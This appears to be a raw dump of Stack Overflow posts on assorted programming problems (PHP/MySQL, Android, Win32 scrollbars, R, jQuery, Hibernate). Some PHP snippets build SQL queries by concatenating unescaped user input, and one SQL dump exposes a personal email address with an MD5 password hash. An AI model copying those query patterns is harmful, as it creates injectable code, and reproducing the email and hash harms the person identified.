and also when I try to call an internal method on the class: <code>Alien.motion(self.velocityVector, moveSpeed)</code>? I would think that calling this method inside the class would cause every instance I make to have it called- making them potentially move. </p> <p>Any help would be really appreciated.</p>
19645106	0	 <p>For "6 choose 3, with replacement", you can use <a href="http://www.jsoftware.com/docs/help701/dictionary/d520.htm" rel="nofollow">catalog <code>{</code></a>:</p> <pre><code>{3#&lt;i.6 ┌─────┬─────┬─────┬─────┬─────┬─────┐ │0 0 0│0 0 1│0 0 2│0 0 3│0 0 4│0 0 5│ ├─────┼─────┼─────┼─────┼─────┼─────┤ │0 1 0│0 1 1│0 1 2│0 1 3│0 1 4│0 1 5│ ├─────┼─────┼─────┼─────┼─────┼─────┤ ... </code></pre> <p>You can take the reverse as the index of the above matrix (unraveled), feg:</p> <pre><code>(0 0 0) I.~ &gt;,{3#&lt;i.6 0 (0 1 0) I.~ &gt;,{3#&lt;i.6 6 (5 5 5) I.~ &gt;,{3#&lt;i.6 215 (4 5 1) I.~ &gt;,{3#&lt;i.6 175 175 { &gt;,{3#&lt;i.6 4 5 1 </code></pre> <p>There are some relevant essays on combinations on jsoftware.com: <a href="http://www.jsoftware.com/jwiki/Essays/Combination%20Index" rel="nofollow">Combination Index</a>, <a href="http://www.jsoftware.com/jwiki/Essays/Combinations" rel="nofollow">Combinations</a> and others.</p>
7870094	0	Change color scheme on komodo edit <p>Hi this is a very noob question but i am trying to change the color scheme on komodo edit, version 6. I am running windows 7. I put the .ksf file in the /schemes folder, now what?</p>
18051290	0	Method Hibernate.createBlob() is deprecated from Hibernate 4.0.1 and moved to Hibernate.getLobCreator(Session session).createBlob() <p>Method <code>Hibernate.createBlob()</code> is deprecated from <strong>Hibernate 4.0.1</strong> and moved to <code>Hibernate.getLobCreator(Session session).createBlob()</code>. Any solution what should I pass inside method <code>getLobCreator(Session session)</code>, i.e in place of Session, Or any other solution showing how to retrieve and save an image into DB using Spring and Hibernate.</p>
27472769	0	Generating a Unique ID by using Rand() <p>Trying to create a ajax private chat. But can't seem to generate a unique ID that hasn't been used by another user.</p> <pre><code> $genid = rand(1,999999999999); foreach($genid as &amp;$rand){ $q = mysql_query("SELECT ".$q_pchat." FROM users WHERE pchat_id1='".$rand."'"); $r = mysql_num_rows($q); if($r == 0){ $chatid = $rand; break; } } </code></pre> <p>Get an internal server error 500. I think it's cause its an infinite loop.</p>
28872472	0	 <p>What you need to do inside your stored procedure is split the comma delimited list of numbers into a list of single values in rows. Once you have this you can use <code>WHERE myCol IN(SELECT v FROM @r)</code>, or use an INNER JOIN instead of IN. One point you might have to watch for is that you have leading zeros - if you want to keep those you will need to use strings instead of integers.</p> <p>There are lots of articles around on the subject of splitting delimited values into rows, you could start <a href="http://stackoverflow.com/questions/2647/how-do-i-split-a-string-so-i-can-access-item-x">here</a>.</p>
38396949	0	 <p>You can see there are comments in aapt_rules.txt. Beside each kept class there are corresponding layout files that referenced this class. Like that:</p> <pre><code># view res/layout/abc_list_menu_item_layout.xml #generated:17 # view res/layout/abc_popup_menu_item_layout.xml #generated:17 -keep class android.support.v7.internal.view.menu.ListMenuItemView { &lt;init&gt;(...); } </code></pre> <p>If you remove the layout file from build process this line will desappear and class will not be kept. The class will be shrinked if it's not actually used somewhere.</p> <p>So how can we remove layout file from appcompat library? I can see few options, none of them is perfect but they work. </p> <ol> <li><p>You can just remove file from sdk\extras\android\m2repository\com\android\support\appcompat-v7\version\appcompat-v7-version.aar. Enough for testing, bad for production because the same file may be used in some other projects. I tried and it works.</p></li> <li><p>Put fake file with the same name into your project. Name conflict will happen. Build process will prefer your fake file because project files have higher priority. This way file from appcompat will be ignored. I tried and it works.</p></li> <li><p>Probably you can make some fancy gradle script that removes unwanted files during the build process. I haven't tried that.</p></li> </ol> <p>(shrinkResources option doesn't help because aapt_rules.txt is generated BEFORE shrinkResources is actually involved.)</p> <p>I hope somebody will suggest a better way to do that</p> <p>After doing that all unwanted lines were gone from aapt_rules.txt. But it saved me about 100 KB from the final apk size. So not big deal for me. But in your case results may be different.</p>
20296286	0	 <p>I don't claim to fully understand the <em>why</em> here, but as best I can tell, this is what's going on.</p> <p><code>summary.default</code> actually calls <code>oldClass</code> rather than <code>class</code>. <em>Why</em> I'm not sure, although I'm sure there's a good reason. </p> <p>Somewhat cryptically in <code>?class</code> we find the following passages:</p> <blockquote> <p>Many R objects have a class attribute, a character vector giving the names of the classes from which the object inherits. <strong>If the object does not have a class attribute, it has an implicit class, "matrix", "array" or the result of mode(x) (except that integer vectors have implicit class "integer").</strong> (Functions oldClass and oldClass&lt;- get and set the attribute, which can also be done directly.)</p> </blockquote> <p>So what's going on here is that <code>class</code> returns the <em>implicit</em> class (numeric). Note that <code>attr(a$alpha,"class")</code> returns <code>NULL</code>. Since the attribute doesn't exists, <code>oldClass</code> faithfully returns <code>NULL</code>.</p> <p>As for the differences between mode, type and class, the first two are related, the third is sort of a separate idea. Mode and type are (I think) actually fairly well explained in the documentation. <code>mode</code> tells you the storage mode of an object, but it is relying on the result of <code>typeof</code>, so they are (mostly) the same. Or connected, at least. But the different values that <code>typeof</code> returns are simply collapsed down to a smaller subset.</p>
20710984	0	 <p>You need to also specify the locations that can use it. For example, in /etc/httpd/conf/httpd.conf you should see something like:</p> <pre><code>&lt;Directory "/var/www/html"&gt; ...lots of text... &lt;/Directory&gt; </code></pre> <p>Make sure is has:</p> <pre><code>&lt;Directory "/var/www/html"&gt; AllowOverride All &lt;/Directory&gt; </code></pre>
4134999	0	 <p>Typing six file names, or using the declarative style with #pragma comment(lib, "foo.lib") is small potatoes compared to the work you'll have to do to turn this into a DLL or COM server.</p> <p>The distribution is heavily biased towards using this as a static link library. There are only spotty declarations available to turn this into a DLL with __declspec(dllexport). They exist only in the 3rd party dependencies. All using different #defines of course, you'll by typing a bunch of names in the preprocessor definitions for the projects. </p> <p>Furthermore, you'll have a hard time actually getting this DLL loaded at runtime since you are using it in a COM server. The search path for DLLs will be the client app's when COM creates your control instance, not likely to be anywhere near close to the place you deployed the DLL.</p> <p>Making it a COM server is a <em>lot</em> of work, you'll have to write all the interface glue yourself. Again, nothing already in the source code that helps with this at all.</p>
17879030	0	 <p>Your JSON is invalid or your server responding with invalid JSON.</p> <p>It should be like this</p> <pre><code>{ "name":"rezepte", "id":"1", "name":null, "alter":"Ab 6.Monat", "kategorie":null, "tageszeit":"Mittags", "portionen":"1 baby- und 1 Erwachsenenportion", "bild":"\u0000\u0000\u0000\u0000\u0000", "vorrat":"2", "zubereitungszeit":"45", "zubereitung0":null, "zubereitung1":null, "zubereitung2":null, "info":null } </code></pre>
7457298	0	Why is the NTOSKRNL.exe IMAGE_MACHINETYPE header field set to x86 on only certain editions of Windows 7 x64? <p>I am using windows 7 home premium x64. I was wondering why exactly the IMAGE_MACHINETYPE field in the header of ntoskrnl in my system32 directory specifies x86. IDA will even let me disassemble it as native x86.</p> <p>Yet on my windows 7 pro machine, image_machinetype is x64. Am I just missing something.. or why is ntoskrnl 32 bit on a 64 bit OS?</p>
36208800	0	Azure Web App Deploy via FTP Credential not Working <p>I have built a web app in ARM (new Portal) with the SDK, and downloaded the Publishing Profile XML file. Inside it has an FTP element with attributes for FTP user name and password. I can log in with those credentials but not upload files - access denied. I cannot delete the hostingstart.html file either. Getting a "dir" on the FTP site works, so I know my credentials are being accepted.</p> <p>I can see in the Portal GUI that there is an FTP user name, but I do not know its password and it does not match what is in the Publishing Profile XML.</p> <p>I am trying to provision a brand new web app with the SDK and upload local-built content, completely unattended. How can I make this happen?</p> <p>Thanks.</p>
32283319	0	How to get and change a variable in my view controller from SKScene <p>Ok so here is the code</p> <pre><code>class GameViewController: UIViewController, SceneTransitionDelegate, GKGameCenterControllerDelegate, ADBannerViewDelegate { var coolbool:Bool = false ...abunch of unimportant stuff functions and stuff } </code></pre> <p>And here is what I am trying to do from my SKScene</p> <pre><code>func thing1() { let controller = GameViewController() controller.coolbool = true println(controller.coolbool) // Will say that it is true sceneDelegate.transitionToScene(Menu.self) //Menu.self is the skscene that we used to be in and will be in } func thing2() { println(controller.coolbool) // Will say that it is false if (controller.coolbool == true) { //Put rainbows over every sprite and change generator settings } } </code></pre> <p>So basically what happens is that "coolbool" is initialized as being false. Until thing1() is called causing the variable "coolbool " to change. And i confirm its change immediately after, before the transition. However after the transition (to the same scene (I'm trying to make it look different if the bool is true)) if you ask what the value is, it says its false.... even though i just set it to true.</p> <p>Anyway I assume I am doing something wrong, is their a better way to do this??? Incase you want it here is the transition function</p> <pre><code>func transitionToScene(sceneClass:Scene.Type) { playing = false var sizeRect = UIScreen.mainScreen().applicationFrame var width = sizeRect.size.width * UIScreen.mainScreen().scale var height = sizeRect.size.height * UIScreen.mainScreen().scale let skView = self.view as! SKView let scene = sceneClass(size: skView.bounds.size) scene.size = CGSizeMake(width, height) rwidth = width rheight = height swidth = width sheight = height skView.ignoresSiblingOrder = true scene.scaleMode = .AspectFill scene.sceneDelegate = self skView.presentScene(scene) } </code></pre>
39982831	0	 <p>To assign the output of a command to a variable, wrap the command in backticks or <code>$()</code>.</p> <pre><code>RESULT=$(cat $LOGFILE | tail -1) </code></pre> <p>Your command performed the environment variable assignment <code>RESULT=cat</code>, and then executed the command <code>$LOGFILE | tail -1</code> in that environment. Since <code>$LOGFILE</code> is not an executable file, you got an error.</p>
5562991	0	 <p>I assume you have a problem with the webroot, i.e. public_html/webtest is set as a root of your site and thus anything outside this folder is not accessible for the app.</p> <p>Can you verify this?</p>
25071323	0	 <p>You don't. Its a dialog from another app, you can't close it. Which is why the general rule is not to use USSD for anything in Android- not only is it not portable across carriers, but there is no real USSD API- you can just sort of kind of hack some of it together (not to mention that USSD is a hack itself that should die now that web services and data connections exist).</p>
21147959	0	Add .com to end of my string in php <p>What I'm trying to is search my string to see if there is any of the following arrays there</p> <p>if not then we need to add .com to end of it.</p> <p>$kwlines is my string and i have set it to test but this is what I get </p> <blockquote> <p>test.comtest.com.comtest.com.com.comtest.com.com.com.comtest.com.com.com.com.comtest.com.com.com.com.com.comtest.com.com.com.com.com.com.com</p> </blockquote> <pre><code>foreach ($kwlines as $kw) { $owned_urls= array('.com', '.co.uk', '.net','.org', '.gov','.gov.co.uk','.us'); foreach ($owned_urls as $url) { if (strpos($kw, $url) !== TRUE) { $kw .= ".com"; echo "$kw"; } } </code></pre> <p>Could you please help me understand what I do wrong?</p> <p>Thank you</p>
37869545	0	 <p>You will need to overwrite the "<strong>tokenServerEncodedUrl</strong>" parameter value in the GoogleCredential object, and "<strong>rootUrl</strong>" parameter value in the Directory object for using your non-standard SSH Tunnel Ports for GoogleAPI client communication.</p> <p>Use the following code snippet to achieve it:</p> <p>GoogleCredential credential = (new com.google.api.client.googleapis.auth.oauth2.GoogleCredential.Builder()).setTransport(httpTransport).setJsonFactory(jsonFactory).<strong>setTokenServerUrl(new GenericUrl("<a href="https://accounts.google.com:ssh-port/o/oauth2/token" rel="nofollow">https://accounts.google.com:ssh-port/o/oauth2/token</a>"))</strong>.setServiceAccountUser(ACCT_USER).setServiceAccountId(ACCT_ID).setServiceAccountScopes(SCOPES).setServiceAccountPrivateKeyFromP12File(p12).build();</p> <p>Directory service = (new com.google.api.services.admin.directory.Directory.Builder(httpTransport, jsonFactory, null)).setHttpRequestInitializer(credential).<strong>setRootUrl("<a href="https://www.googleapis.com:22230/" rel="nofollow">https://www.googleapis.com:22230/</a>")</strong>.setApplicationName(APP_NAME).build();</p> <p>The above code snippet shall overwrite the default service URL values set by the Google API Client libraries (Jar files).</p>
13384205	0	Scrolling Graph <p>I am trying to draw a graph that has a scrollbar,<br> the graph uses time for the x-axis and i'd like to have a limited x-axis (1 minute)<br> so up until 1 minute, the scroll bar's page is the length of the scrollbar,<br> after that the page should be '60 seconds long' and the scrollbar max should be 'elapsed time' long<br> when you drag the scrollbar it tracks along, and pulls up the relevant bit of the graph.<br> the graph should auto-scroll until its dragged away (and auto-scroll once its dragged back to max)</p> <p>this is what i have so far</p> <p>is defined at the top of the wndproc<br> <code>static SCROLLINFO sci = {sizeof(SCROLLINFO),SIF_RANGE|SIF_POS|SIF_PAGE|SIF_TRACKPOS,0,0,0,0,0};</code> </p> <p>in the WM_HSCROLL event:</p> <pre><code>GetScrollInfo((HWND)lParam, SB_CTL, &amp;sci); int pos; pos = sci.nPos; switch(LOWORD(wParam)) { case SB_PAGELEFT: pos -= sci.nPage; break; case SB_LINELEFT: pos -= (sci.nMax/10); break; case SB_PAGERIGHT: pos += sci.nPage; break; case SB_LINERIGHT: pos += (sci.nMax/10); break; case SB_THUMBTRACK: tsTracking = true; pos = sci.nTrackPos; break; case SB_THUMBPOSITION: tsTracking = false; pos = sci.nTrackPos; break; } if (pos &lt; sci.nMin) pos = sci.nMin; if (pos &gt; sci.nMax) pos = sci.nMax; if (pos != sci.nPos) { sci.fMask = SIF_POS; sci.nPos = pos; if(sci.nPos &gt;= (sci.nMax-(sci.nPage*1.2)-1)) //this should detect when the thumb has reached the end of the scrollbar sci.nPos = sci.nMax; SetScrollInfo((HWND)lParam, SB_CTL, &amp;sci, TRUE); PostMessage(hWnd, WM_COMMAND, IDM_DISPLAYRESULTS, 0); } break; </code></pre> <p>in the drawing code called from WM_PAINT<br> (yes i realize i shouldn't be setting the scrollbar's info here, i intend to put it in its proper place once its working properly)</p> <p>at the top of the graph-drawing function:</p> <p><code>static SCROLLINFO sci = {sizeof(SCROLLINFO),SIF_RANGE|SIF_POS|SIF_PAGE|SIF_TRACKPOS,0,0,0,0,0};</code> </p> <p>in the graph-drawing function:</p> <pre><code>__int64 elapsed_time = g_h_maxX-g_h_minX, //the elapsed time windowLengthMS, //the current window length in ms (between 0 and MAX_TIME_WIDTH_MS) start, //the start of the current window end; //the end of the current window static UINT32 windowMaxS = 1; //how long the window max is (used for x sub-divisions) double xTickStep, //x division step yTickStep, //y division step xScale, //x-scale (used to get the time relative to the elapsed time and size of the graph) yScale; //y-scale (used to get the data being plotted relative to its max, and the size of the graph) if(!tsTracking) //a global bool, checking if the scrollbar's thumb is being dragged { GetScrollInfo(get_chwnd(IDCW_HARMONICSRESULTSTIMESHIFTSB),SB_CTL,&amp;sci); //gets the scroll info for the scrollbar int pos = sci.nPos*(double(elapsed_time)/double(sci.nMax - sci.nMin)); //gets the position relative to the new max sci.nMin = g_h_minX; //sets min (should always be the same, done for completeness) sci.nMax = (((g_h_maxX-MAX_TIME_WIDTH_MS)&gt;0)?(g_h_maxX):0); //sets max to either max, or 0 (if max isnt bigger then page length) sci.nPage = MAX_TIME_WIDTH_MS; //sets the page length to the window length sci.nPos = pos; //sets position to its new value if(sci.nPos &gt;= (sci.nMax-(sci.nPage*1.2)-1)) //if position is one "page" from the end sci.nPos = sci.nMax; //set it to max SetScrollInfo(get_chwnd(IDCW_HARMONICSRESULTSTIMESHIFTSB),SB_CTL,&amp;sci,true); } //set scroll info if (elapsed_time &gt; MAX_TIME_WIDTH_MS) //if elapsed time is longer then the max window length { end = ((double)sci.nPos / double(sci.nMax)) * g_h_maxX; //set the end to current (scroll position / scroll max) * latest time -&gt; this should put end relative to the scrollbar start = end-MAX_TIME_WIDTH_MS; //sets start to end - window length if (start &lt; 0) //if start is now less than zero { end = MAX_TIME_WIDTH_MS; //set end to window length start = 0; //set start to 0 } } else //if (elapsed_time &lt;= MAX_TIME_WIDTH_MS) { start = g_h_minX; //start is min end = g_h_maxX; //end is max } windowLengthMS = (end-start); //find the current window length if(_MSTOSECS(windowLengthMS) &gt; windowMaxS) //if the current window length beats one fo the markers windowMaxS = ((windowMaxS &lt; 10)?windowMaxS+1:(windowMaxS==40)?windowMaxS*1.5:windowMaxS*2); //change subdiv scaling xScale = double(graph_width)/double(windowLengthMS); //set x-scale to width / window length yScale = (double)(graph_height)/((double)g_h_maxY - (double)g_h_minY); //set y-scale to height / (maxVal-minVal) int ticks = _MSTOSECS(elapsed_time); //ticks = full seconds elapsed xTickStep = double(graph_width)/double(ticks+1); //tickstep = seconds+1 (accounts for 0) yTickStep = double(graph_height)/double(Y_TICKS); //6 y-ticks, constant. SelectObject(hDC,hThickPen); { //scope to clear variables! double x; //x to store subdiv x-location for(i = ticks; i &gt;= 0; i--) //for each subdiv { if(((windowMaxS&gt;40)?(!(i%3)):(windowMaxS &gt;20)?(!(i%2)):i)) //have if &lt;=20 secs, each second is shown on x, &gt;20 &lt;=40, every second second is shown, &gt;40 seconds, every 3rd second is shown { x = round((_SECSTOMS(i)*xScale)); //find x-pos sprintf(buf,"%d",(i+_MSTOSECS(start))); //print to buffer SetRect(&amp;rc, fr.left+x-5, fr.bottom+5, fr.left+x+xTickStep, fr.bottom+25); //get text rectangle DrawText(hDC, buf, -1, &amp;rc, DT_SINGLELINE | DT_VCENTER | DT_LEFT); //draw text } if (i!=ticks &amp;&amp; (windowMaxS&gt;40)?(!(i%6)):(windowMaxS &gt;20)?(!(i%4)):(windowMaxS&gt;10)?(!(i%2)):i)//every &lt;10, each sec gets a subdiv, &lt;20 each second tick gets a subdiv, &lt;40 each 6th tick gets a subdiv { MoveToEx(hDC, GRAPH_XL_OFFSET+x, graph_bottom, NULL); //draw the line LineTo(hDC, GRAPH_XL_OFFSET+x, graph_bottom-graph_height); //draw the line } } } </code></pre> <p>as for globals:<br> <code>g_h_minX</code> is the start time and<br> <code>g_h_maxX</code> is the last result time<br> <code>MAX_TIME_WIDTH_MS</code> is the "window length" in ms -> how long i want the scroll bar page (60 seconds)</p> <p>so the idea is to set <code>end</code> to where the scroll bar is, and get the <code>start</code> by taking the window length from <code>end</code>, and working out which part of the graph we're trying to look at.</p> <p>i've been fiddling with this for the last 2 days and i'm running out of ideas. im sure i'm close, but i cant quite figure it out,</p> <p>edit:<br> updated the code slightly<br> it also seems i forgot to say what the problem was.<br> the scolling code isnt working properly, it autoscrolls when new data comes in,<br> but when i drag the thumb away from the end of the scrollbar, it just snaps to the start, and wont move. on closer inspection, the arrows work, and the "page-right" "page-left" on the right-click menu work, just not the tracking </p> <p>any help would be appreciated.</p> <p>thanks in advance.</p>
8275004	0	 <p>Ok, I've got it figured out now! What was happening is it was trying to speak before <code>TTS</code> was initialized. So in a thread I wait for ready to not == 999. Once its either 1 or anything else we'll then take care of speaking. This might not be safe putting it in a while loop but... It's working nonetheless.</p> <pre><code>import java.util.HashMap; import java.util.Locale; import android.app.Service; import android.content.Intent; import android.media.AudioManager; import android.os.IBinder; import android.speech.tts.TextToSpeech; import android.speech.tts.TextToSpeech.OnInitListener; import android.speech.tts.TextToSpeech.OnUtteranceCompletedListener; import android.util.Log; public class TTSService extends Service implements OnInitListener, OnUtteranceCompletedListener { TextToSpeech mTTS; int ready = 999; @Override public void onCreate() { Log.d("", "TTSService Created!"); mTTS = new TextToSpeech(getApplicationContext(), this); new Thread(new Runnable() { @Override public void run() { while(ready == 999) { //wait } if(ready==1){ HashMap&lt;String, String&gt; myHashStream = new HashMap&lt;String, String&gt;(); myHashStream.put(TextToSpeech.Engine.KEY_PARAM_STREAM, String.valueOf(AudioManager.STREAM_NOTIFICATION)); myHashStream.put(TextToSpeech.Engine.KEY_PARAM_UTTERANCE_ID, "1"); mTTS.setLanguage(Locale.US); //mTTS.setOnUtteranceCompletedListener(this); mTTS.speak("I'm saying some stuff to you!", TextToSpeech.QUEUE_FLUSH, myHashStream); } else { Log.d("", "not ready"); } } }).start(); stopSelf(); } @Override public IBinder onBind(Intent intent) { return null; } @Override public void onDestroy() { mTTS.shutdown(); super.onDestroy(); } @Override public void onInit(int status) { Log.d("", "TTSService onInit: " + String.valueOf(status)); if (status == TextToSpeech.SUCCESS) { ready = 1; } else { ready = 0; Log.d("", "failed to initialize"); } } public void onUtteranceCompleted(String uttId) { Log.d("", "done uttering"); if(uttId == "1") { mTTS.shutdown(); } } } </code></pre>
14402368	0	php check if a value is in a sql database <blockquote> <p><strong>Possible Duplicate:</strong><br> <a href="http://stackoverflow.com/questions/2973202/mysql-fetch-array-expects-parameter-1-to-be-resource-boolean-given-in-select">mysql_fetch_array() expects parameter 1 to be resource, boolean given in select</a> </p> </blockquote> <pre><code>//define variable to check the number of rows where the sql query is true to find out if the username or password are already in use $EmailCheck = mysql_query("SELECT `Email` FROM `Customer` WHERE `Email` = '$RegCusEmail'"); $UserCheck = mysql_query("SELECT `Username` FROM `Customer` WHERE `Username` = '$RegCusUser'"); //checks if emails in use if (mysql_num_rows($EmailCheck) != 0) { echo '&lt;p id="error"&gt;The Email address you have entered is already in use.&lt;p&gt;'; } //checks if username is in use elseif (mysql_num_rows($UserCheck) != 0) { echo '&lt;p id="error"&gt;The username you have entered is already in use.&lt;p&gt;'; } </code></pre> <p>The above code is supposed to search a database for the email and username of the person registering and if they already exist tell the user to use a different one but when I use it I get this error?</p> <blockquote> <pre><code>Warning: mysql_num_rows() expects parameter 1 to be resource, boolean given in (file directory) on line 56 Warning: mysql_num_rows() expects parameter 1 to be resource, boolean given in (file directory) on line 62 </code></pre> </blockquote>
12025886	0	Not sure how to make the correct mySQL query to get data from multiple tables in 1 query <p>I need to get data from multiple tables from a database and I need to use 1 query, but I can't get it to work.</p> <p>I got these table:<br> <b>projects:</b></p> <pre><code>id name start_date end_date project_leader finished 1 project_1 2012-08-01 00:00:00 2012-29-01 00:00:00 2 0 </code></pre> <p><b>users</b></p> <pre><code>id username password email status 1 user_1 pass_1 email_1 1 2 user_2 pass_2 email_2 1 </code></pre> <p><b>user_has_project</b></p> <pre><code>userid projectId 1 1 </code></pre> <p><b>tasks</b></p> <pre><code>id project description end_date user 1 1 test description 1 2012-29-01 00:00:00 1 2 1 test description 2 2012-29-01 00:00:00 1 </code></pre> <p>So what I need to do, is make a query that should give me this result:<br> <b>Result:</b></p> <pre><code>project_id project_name start_date end_date project_leader finished tasks 1 project_1 2012-08-01 00:00:00 2012-29-01 00:00:00 user_2 0 2 </code></pre> <p>I got it to work until the part where I need to count the amount of tasks that a project has. I got this query, but that doesn't work:</p> <pre><code>SELECT projects.id, projects.name, projects.start_date, projects.end_date, projects.finished, users.username AS project_leader, COUNT(tasks.id) AS tasks FROM projects, tasks INNER JOIN user_has_project ON user_has_project.projectId = projects.id INNER JOIN users ON projects.project_leader = users.id WHERE user_has_project.userId = 1 </code></pre> <p>SQL dump, so people can try to test their query for me: </p> <pre><code>-- phpMyAdmin SQL Dump -- version 3.4.5 -- http://www.phpmyadmin.net -- -- Machine: localhost -- Genereertijd: 20 aug 2012 om 19:42 -- Serverversie: 5.5.16 -- PHP-Versie: 5.3.8 SET SQL_MODE="NO_AUTO_VALUE_ON_ZERO"; SET time_zone = "+00:00"; /*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */; /*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */; /*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */; /*!40101 SET NAMES utf8 */; -- -- Database: `project-deadline` -- -- -------------------------------------------------------- -- -- Tabelstructuur voor tabel `projects` -- CREATE TABLE IF NOT EXISTS `projects` ( `id` int(11) NOT NULL AUTO_INCREMENT, `name` varchar(45) DEFAULT NULL, `start_date` datetime DEFAULT NULL, `end_date` datetime DEFAULT NULL, `project_leader` int(11) DEFAULT NULL, `finished` int(11) DEFAULT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=2 ; -- -- Gegevens worden uitgevoerd voor tabel `projects` -- INSERT INTO `projects` (`id`, `name`, `start_date`, `end_date`, `project_leader`, `finished`) VALUES (1, 'Project 1', '2012-08-01 00:00:00', '2012-09-18 00:00:00', 1, 0); -- -------------------------------------------------------- -- -- Tabelstructuur voor tabel `tasks` -- CREATE TABLE IF NOT EXISTS `tasks` ( `id` int(11) NOT NULL AUTO_INCREMENT, `project` int(11) DEFAULT NULL, `description` varchar(100) DEFAULT NULL, `end_date` datetime DEFAULT NULL, `user` int(11) DEFAULT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Tabelstructuur voor tabel `users` -- CREATE TABLE IF NOT EXISTS `users` ( `id` int(11) NOT NULL AUTO_INCREMENT, `username` varchar(50) NOT NULL, `password` varchar(32) NOT NULL, `email` varchar(100) NOT NULL, `status` int(11) NOT NULL, `timezone` varchar(10) DEFAULT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=2 ; -- -- Gegevens worden uitgevoerd voor tabel `users` -- INSERT INTO `users` (`id`, `username`, `password`, `email`, `status`, `timezone`) VALUES (1, 'DijkeMark', '37540da17c71d40c656b97b32c00f692', 'mark.dijkema@gmail.com', 1, 'UP1'); -- -------------------------------------------------------- -- -- Tabelstructuur voor tabel `user_has_project` -- CREATE TABLE IF NOT EXISTS `user_has_project` ( `userId` int(11) NOT NULL, `projectId` int(11) NOT NULL, PRIMARY KEY (`userId`,`projectId`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Gegevens worden uitgevoerd voor tabel `user_has_project` -- INSERT INTO `user_has_project` (`userId`, `projectId`) VALUES (1, 1), (1, 6); /*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */; /*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */; /*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */; </code></pre>
17547685	0	Declare type object in an oracle package <p>Is there a way to declare type object in a package ?</p> <p>it seems like the one following is not supported in the context the package</p> <pre><code>TYPE xxx AS OBJECT </code></pre> <p>thank you</p>
18279222	0	 <p>jQuery selector returns an array of elements wrapped by a jQuery object. Using your code, <code>row</code> would represent a property of the object, which would work for the numeric properties; but would break for all the other properties (see below for why this is bad). </p> <p>Again, the following should not be used, but using your code, you would implement the <code>in</code> looping construct by caching your selector:</p> <pre><code>var $tr = $('#alertsbody &gt; tr'); for (var row in $tr) { // perform any property validation here if (isNaN(row)) continue; // try next property // id validation if ($tr[row].id == myRowId) . . . } </code></pre> <h2>Warning / Better Alternative</h2> <hr> <p>This is a bad idea. This is because you should not loop through the object in this manner, instead you should iterate over the jQuery object using <code>.each()</code>.</p> <pre><code>$tr.each(function(){ if(this.id == myRowId) ... }) </code></pre> <h2>Alternative</h2> <hr> <p>Some alternatives are to skip the loop entirely and select the rows by <code>id</code> eg(<code>$('#myRowId')</code> or <code>$('tr#myRowId')</code><em>though, tr is not necessary as there should only be one id per HTML page</em>) and perform some action. Or, if you already have some looping construct in place or need an alternative checking mechanism, you can use the <code>.is()</code> function:</p> <pre><code>var domElement = document.getElementById('myRowId'); var $jqElement = $('#myRowId'); $tr.each(function(){ var $this = $(this); if( $this.is('#myRowId') ) ... if( $this.is( domElement ) ) ... if( $this.is( $jqElement ) ) }); </code></pre>
9005449	0	 <p>I'm pretty sure it had something to do with the version of Ubuntu server I had installed. I couldn't seem to install all these tools properly on that version. So, ultimately, I installed the latest version of Ubuntu server and was able to install all these tools properly. Thanks for the help!</p>
40774484	0	 <p>you can do on a other way: </p> <p><strong>Create a Select with this Concats</strong></p> <pre><code>select GROUP_CONCAT( CONCAT(" ('",field1,"','",field2,"')")) as vals from my_table; </code></pre> <p>The Result look like this:</p> <p><strong>Result</strong></p> <pre><code>mysql&gt; select GROUP_CONCAT( -&gt; CONCAT(" ('",field1,"','",field2,"')")) as vals -&gt; from my_table; +---------------------------------------------------------------------------------------------------------+ | vals | +---------------------------------------------------------------------------------------------------------+ | ('O1','AC'), ('O1','PT'), ('O2','PT'), ('O3','MI'), ('O3','PT'), ('O4','EG'), ('O4','PT'), ('O5','PT') | +---------------------------------------------------------------------------------------------------------+ 1 row in set (0,00 sec) mysql&gt; </code></pre> <p>and the you can direct concat this in the insert statement and you only read one row and only write and execute one statement.</p> <p><strong>your Code</strong></p> <pre><code> String selectStatement = "SELECT GROUP_CONCAT(CONCAT(" ('",field1,"','",field2,"')")) as vals FROM dbx.testx where time between ('2016-09-01 00:00:00') and ('2016-09-03 23:59:59');"; ResultSet resultSetForSelect = st.executeQuery(selectStatement); String insertStatement = "INSERT INTO testy(" + "field1," + "field2)" + + String from result + "ON DUPLICATE KEY UPDATE field1 = VALUES(field1);"; &lt;----field1 is a unique key but not primary # execute one time </code></pre>
6067622	0	 <p>I think you meant to use setTimeout instead of setInterval; it's continuously running that loop every second which is what's causing the focus to jump back to the first input box.</p> <p>If you want the animation to happen after the slideUp animation is complete, use the callback argument of the slideUp method instead of relying on setTimeout.</p> <p>For example:</p> <pre><code>$("#openc").click(function(){ $("#close-top").slideUp(450,function() { $("#open-me").slideDown(); $("#regkey").focus(); $("#closec").show(); }); $("#openc").hide(); }); </code></pre>
